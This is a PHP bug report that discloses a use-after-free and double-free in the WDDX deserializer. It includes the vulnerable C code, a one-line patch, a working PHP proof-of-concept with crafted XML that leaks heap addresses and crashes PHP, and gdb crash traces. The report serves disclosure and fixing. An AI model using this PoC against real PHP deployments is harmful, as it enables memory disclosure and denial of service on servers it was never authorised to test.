|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-02-14 10:35 UTC] manhluat at vnsecurity dot net
Description:
------------
There is use-after-free flaw in WDDX Deserialize implement when trying to process XML data.
******************** SNIP ********************
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
...
} else if (!strcmp((char *)name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ZVAL_STR(&ent.data, ZSTR_EMPTY_ALLOC());
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry));
...
} else if (!strcmp((char *)name, EL_VAR)) {
int i;
if (atts) for (i = 0; atts[i]; i++) {
if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
stack->varname = estrdup((char *)atts[i]);
break;
}
}
...
******************** SNIP ********************
The name of the following data is specified by attribute 'name' of 'var' tag.
For example, when I was trying to set the name of <string> data.
It will then do `SET_STACK_VARNAME` which does the following producere:
******************** SNIP ********************
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
******************** SNIP ********************
You can see that if stack->varname is exists, it will assign ent.varname by that value.
Here is our problem, what would happen if I open <var> then close it immediately prior to processing <string> tag.
It would call handlers for push/pop elements.
******************** SNIP ********************
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
st_entry *ent1, *ent2;
wddx_stack *stack = (wddx_stack *)user_data;
HashTable *target_hash;
zend_class_entry *pce;
zval obj;
...
} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
efree(stack->varname);
...
}
******************** SNIP ********************
In php_wddx_pop_element(), it was free-ing stack->varname, when closing tag. But...it doesn't re-assign it by NULL ?!.
And it will process data in <string> tag and set ent.varname by that `freed` value.
That's how we manipulate this use-after-free issues.
You can run below PoC and see memory leak value.
Furthermore, We probably causes Double-Free from this bug.
******************** SNIP ********************
static void php_wddx_process_data(void *user_data, const XML_Char *s, int len)
{
st_entry *ent;
wddx_stack *stack = (wddx_stack *)user_data;
...
case ST_BOOLEAN:
if (!strcmp((char *)s, "true")) {
Z_LVAL(ent->data) = 1;
} else if (!strcmp((char *)s, "false")) {
Z_LVAL(ent->data) = 0;
} else {
stack->top--;
zval_ptr_dtor(&ent->data);
if (ent->varname)
efree(ent->varname);
efree(ent);
}
break;
...
******************** SNIP ********************
If the value of <boolean> tag is neither "true" nor "false", it will free ent->varname once more (double-free).
Below backtrace of gdb will give you details.
* Notice
- Calculated crafting will even cause crash and let it over-write data to other segments in PHP5 ubuntu package.
- Effects on 32-bit,64-bit as well.
* Fix
} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
efree(stack->varname);
+ stack->varname = NULL;
}
Test script:
---------------
<?php
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<var name='ML'></var>
<string>manhluat</string>
<var name='ML2'></var>
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$wddx = wddx_deserialize($xml);
var_dump($wddx);
// Print mem leak
foreach($wddx as $k=>$v)
printf("Key: %s\nValue: %s\n",bin2hex($k),bin2hex($v));
?>
Expected result:
----------------
root@ubuntu:~/test/debug/php-7.0.3# php5 -v
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# php5 /root/test/php-7.0.3/poc/1.php
array(2) {
["manhluat"]=>
string(8) "��+�@"
[0]=>
bool(true)
}
Key: 6d616e686c756174
Value: 6d616e686c756174
Segmentation fault (core dumped)
root@ubuntu:~/test/debug/php-7.0.3#
--------------------------------------------
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php -v
PHP 7.0.3 (cli) (built: Feb 7 2016 14:42:27) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php /root/test/php-7.0.3/poc/1.php
array(2) {
[" `�d"]=>
string(8) "manhluat"
[0]=>
bool(true)
}
Key: 102060dd647f <-- LEAK LEAK!!!
Value: 6d616e686c756174
Key: 30
Value: 31
root@ubuntu:~/test/debug/php-7.0.3#
Actual result:
--------------
gdb-peda$ r /root/test/php-7.0.3/poc/1.php
Starting program: /root/test/debug/php-7.0.3/sapi/cli/php /root/test/php-7.0.3/poc/1.php
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff6402008 (0x00007ffff6402008)
RBX: 0x125e2a8 --> 0x65756c6176 ('value')
RCX: 0x124a860 --> 0x1240061 --> 0x123f4
RDX: 0x1
RSI: 0xe0fe99 --> 0xe0000065736c6166
RDI: 0x7ffff6402008 (0x00007ffff6402008)
RBP: 0x7fffffffa530 --> 0x7fffffffa670 --> 0x7fffffffa6e0 --> 0x125cc60 --> 0x125df70 --> 0x0
RSP: 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001
RIP: 0x7ce9ad (<php_wddx_process_data+1679>: call 0x8509e0 <_efree>)
R8 : 0x0
R9 : 0x0
R10: 0x125e2a8 --> 0x65756c6176 ('value')
R11: 0x3
R12: 0x50 ('P')
R13: 0x125ad33 ("value='a'/>\n <boolean value='true'/>\n </array>\n</wddxPacket>")
R14: 0x125e6e0 --> 0x125e2a8 --> 0x65756c6176 ('value')
R15: 0x1
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ce99f <php_wddx_process_data+1665>: mov rax,QWORD PTR [rbp-0x120]
0x7ce9a6 <php_wddx_process_data+1672>: mov rax,QWORD PTR [rax+0x18]
0x7ce9aa <php_wddx_process_data+1676>: mov rdi,rax
=> 0x7ce9ad <php_wddx_process_data+1679>: call 0x8509e0 <_efree>
0x7ce9b2 <php_wddx_process_data+1684>: mov rax,QWORD PTR [rbp-0x120]
0x7ce9b9 <php_wddx_process_data+1691>: mov rdi,rax
0x7ce9bc <php_wddx_process_data+1694>: call 0x8509e0 <_efree>
0x7ce9c1 <php_wddx_process_data+1699>: jmp 0x7ceb81 <php_wddx_process_data+2147>
Guessed arguments:
arg[0]: 0x7ffff6402008 (0x00007ffff6402008)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001
0008| 0x7fffffffa3d8 --> 0x1681a4b18
0016| 0x7fffffffa3e0 --> 0x124a860 --> 0x1240061 --> 0x123f4
0024| 0x7fffffffa3e8 --> 0x7fffffffa9b0 --> 0x1000000001
0032| 0x7fffffffa3f0 --> 0x7ffff7fda5f0 --> 0x7ffff7ffe1c8 --> 0x0
0040| 0x7fffffffa3f8 --> 0xf7de4816
0048| 0x7fffffffa400 --> 0xffffffff
0056| 0x7fffffffa408 --> 0xfffffff900001406
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x00000000007ce9ad in php_wddx_process_data (user_data=0x7fffffffa9b0, s=0x124a860 "a", len=0x1) at /root/test/debug/php-7.0.3/ext/wddx/wddx.c:1011
1011 efree(ent->varname);
gdb-peda$ c
Continuing.
array(2) {
[" @�"]=>
string(8) "manhluat"
[0]=>
bool(true)
}
Key: 102040f6ff7f
Value: 6d616e686c756174
Key: 30
Value: 31
[Inferior 1 (process 32505) exited normally]
Warning: not running or target is remote
gdb-peda$
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Nov 01 03:00:01 2025 UTC |
Following backtrace is debug information of php5 ubuntu's package which cause crash. gdb-peda$ r -v Starting program: /usr/bin/php5 -v [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies [Inferior 1 (process 32525) exited normally] Warning: not running or target is remote gdb-peda$ r /root/test/php-7.0.3/poc/1.php Starting program: /usr/bin/php5 /root/test/php-7.0.3/poc/1.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". array(2) { ["manhluat"]=> string(8) "�b���" [0]=> bool(true) } Key: 6d616e686c756174 Value: 6d616e686c756174 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7ffff7003043 (<__bam_merge_44_recover+435>: (bad)) RBX: 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>: rex) RCX: 0x33 ('3') RDX: 0x0 RSI: 0x3 RDI: 0xebed40 --> 0x1 RBP: 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1') RSP: 0x7fffffffabf0 --> 0x10059797b RIP: 0x63b117 (<zif_bin2hex+103>: mov BYTE PTR [rax+rdx*2],cl) R8 : 0xb55f00 ("0123456789abcdef") R9 : 0x7ffff7f96080 --> 0x7ffff7f96088 --> 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1') R10: 0xebcf80 --> 0x0 R11: 0x7ffff7f962b0 --> 0x7ffff7fc9db8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>: rex) R12: 0x1 R13: 0xea06ae --> 0x0 R14: 0x7ffff7fc98b8 --> 0x79e7b0 (<ZEND_DO_FCALL_SPEC_CONST_HANDLER>: push r14) R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x63b10c <zif_bin2hex+92>: shr cl,0x4 0x63b10f <zif_bin2hex+95>: and ecx,0xf 0x63b112 <zif_bin2hex+98>: movzx ecx,BYTE PTR [r8+rcx*1] => 0x63b117 <zif_bin2hex+103>: mov BYTE PTR [rax+rdx*2],cl 0x63b11a <zif_bin2hex+106>: movzx ecx,BYTE PTR [rbx+rdx*1] 0x63b11e <zif_bin2hex+110>: and ecx,0xf 0x63b121 <zif_bin2hex+113>: movzx ecx,BYTE PTR [r8+rcx*1] 0x63b126 <zif_bin2hex+118>: mov BYTE PTR [rax+rdx*2+0x1],cl [------------------------------------stack-------------------------------------] 0000| 0x7fffffffabf0 --> 0x10059797b 0008| 0x7fffffffabf8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>: rex) 0016| 0x7fffffffac00 --> 0xea06ac --> 0x0 0024| 0x7fffffffac08 --> 0xf04bd0 --> 0x7fffffffcf01 --> 0x700000000000000 0032| 0x7fffffffac10 --> 0xebcf80 --> 0x0 0040| 0x7fffffffac18 --> 0x6de08b (<dtrace_execute_internal+43>: cmp WORD PTR [rbx],0x0) 0048| 0x7fffffffac20 --> 0x0 0056| 0x7fffffffac28 --> 0x6fb84c (<_zend_hash_quick_add_or_update+1004>: test rax,rax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000063b117 in php_bin2hex (newlen=<synthetic pointer>, oldlen=0x1, old=0x7ffff7fcb090 "1") at /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c:143 143 /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c: No such file or directory.